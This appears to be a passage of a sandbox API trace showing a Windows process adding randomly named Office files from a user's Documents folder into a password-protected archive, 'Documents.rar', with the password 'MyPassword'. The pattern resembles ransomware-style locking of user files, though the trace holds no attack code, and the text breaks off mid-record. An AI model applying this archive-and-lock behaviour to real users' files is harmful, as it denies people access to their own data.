SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.628] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39db40 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.628] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39daf0 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.628] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65560 | out: hHeap=0x2e0000) returned 1 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65530 | out: hHeap=0x2e0000) returned 1 [0068.628] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39db40 [0068.628] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.628] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.629] GetTickCount () returned 0xa67725 [0068.629] GetLastError () returned 0x0 [0068.629] SetLastError (dwErrCode=0x0) [0068.629] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.629] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.629] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.629] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.629] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14396937388) returned 1 [0068.629] GetTickCount () returned 0xa67725 [0068.629] GetTickCount () returned 0xa67725 [0068.629] GetTickCount () returned 0xa67725 [0068.629] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.629] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.629] GetFocus () returned 0x0 [0068.629] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.629] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.629] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.629] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.630] ResetEvent (hEvent=0x1a4) returned 1 [0068.630] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.631] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.631] ResetEvent (hEvent=0x1a4) returned 1 [0068.631] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.632] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.632] GetTickCount () returned 0xa67725 [0068.632] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14397290740) returned 1 [0068.633] GetTickCount () returned 0xa67725 [0068.633] GetTickCount () returned 0xa67725 [0068.633] GetTickCount () returned 0xa67725 [0068.633] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.633] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.633] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.633] ResetEvent (hEvent=0x190) returned 1 [0068.633] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.633] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.633] ResetEvent (hEvent=0x190) returned 1 [0068.633] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.634] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.634] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.634] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.634] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2d305c [0068.634] SetFilePointer (in: hFile=0x198, lDistanceToMove=97, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2d30bd [0068.634] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.634] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.634] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.634] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.634] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x9050, lpOverlapped=0x0) returned 1 [0068.635] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.635] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.635] SetFilePointer (in: hFile=0x198, lDistanceToMove=2961500, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2d305c [0068.635] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2d305c [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.635] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39daf0 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.635] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39db40 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65560 | out: hHeap=0x2e0000) returned 1 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65530 | out: hHeap=0x2e0000) returned 1 [0068.635] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65500, Size=0x48) returned 0x39daf0 [0068.635] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.635] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x61, lpOverlapped=0x0) returned 1 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65500 [0068.635] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x61) returned 0x3b64ad0 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.635] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.635] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2dc10d [0068.635] CloseHandle (hObject=0x1b0) returned 1 [0068.636] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.636] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.636] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.636] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.636] FindFirstFileW (in: lpFileName="sZysAGTn.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.636] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.636] CreateFileW (lpFileName="sZysAGTn.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\szysagtn.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.636] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.636] GetTickCount () returned 0xa67725 [0068.636] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.636] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.636] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.636] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.636] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="slFg55xQ.pptx") returned 13 [0068.636] SetWindowTextW (hWnd=0x10280, lpString="sZysAGTn.xlsx") returned 1 [0068.636] GetTickCount () returned 0xa67725 [0068.636] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.636] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.637] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.637] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.637] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xfd)) [0068.637] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.637] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14397714315) returned 1 [0068.637] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x10e3a, lpOverlapped=0x0) returned 1 [0068.638] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b0e7a, nNumberOfBytesToRead=0xef1c6, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b0e7a*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.638] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.638] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.638] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39db40 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.638] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39daf0 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.638] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65590 | out: hHeap=0x2e0000) returned 1 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65560 | out: hHeap=0x2e0000) returned 1 [0068.638] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39db40 [0068.638] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.638] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.639] GetTickCount () returned 0xa67725 [0068.639] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14397916261) returned 1 [0068.639] GetTickCount () returned 0xa67725 [0068.639] GetTickCount () returned 0xa67725 [0068.639] GetTickCount () returned 0xa67725 [0068.639] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.639] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.639] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.639] ResetEvent (hEvent=0x1a4) returned 1 [0068.639] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.640] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.640] ResetEvent (hEvent=0x1a4) returned 1 [0068.640] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.643] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.643] ResetEvent (hEvent=0x1a4) returned 1 [0068.643] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.650] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.650] GetTickCount () returned 0xa67735 [0068.650] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14399012292) returned 1 [0068.650] GetTickCount () returned 0xa67735 [0068.650] GetTickCount () returned 0xa67735 [0068.650] GetTickCount () returned 0xa67735 [0068.650] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.650] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.650] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.650] ResetEvent (hEvent=0x190) returned 1 [0068.650] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.650] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.650] ResetEvent (hEvent=0x190) returned 1 [0068.650] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.651] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.651] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.651] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2dc10d [0068.651] SetFilePointer (in: hFile=0x198, lDistanceToMove=97, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2dc16e [0068.651] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.651] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.651] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.651] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.652] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x10ef0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x10ef0, lpOverlapped=0x0) returned 1 [0068.653] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.653] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=2998541, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2dc10d [0068.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2dc10d [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.653] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39daf0 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.653] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39db40 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65590 | out: hHeap=0x2e0000) returned 1 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65560 | out: hHeap=0x2e0000) returned 1 [0068.653] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65530, Size=0x48) returned 0x39daf0 [0068.653] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.653] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x61, lpOverlapped=0x0) returned 1 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65530 [0068.653] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x61) returned 0x3b64b40 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.653] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.653] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2ed05e [0068.653] CloseHandle (hObject=0x1b0) returned 1 [0068.653] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.653] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.653] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.653] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.653] FindFirstFileW (in: lpFileName="s_UnG.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.654] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.654] CreateFileW (lpFileName="s_UnG.docx" (normalized: "c:\\users\\whuoxysd\\documents\\s_ung.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.654] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.654] GetTickCount () returned 0xa67735 [0068.654] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.654] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.654] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.654] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.654] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="sZysAGTn.xlsx") returned 13 [0068.654] SetWindowTextW (hWnd=0x10280, lpString="s_UnG.docx") returned 1 [0068.654] GetTickCount () returned 0xa67735 [0068.654] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.654] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.655] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.655] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.655] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x10b)) [0068.655] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.655] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14399555539) returned 1 [0068.655] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x17d4f, lpOverlapped=0x0) returned 1 [0068.658] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b7d8f, nNumberOfBytesToRead=0xe82b1, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b7d8f*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.658] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, 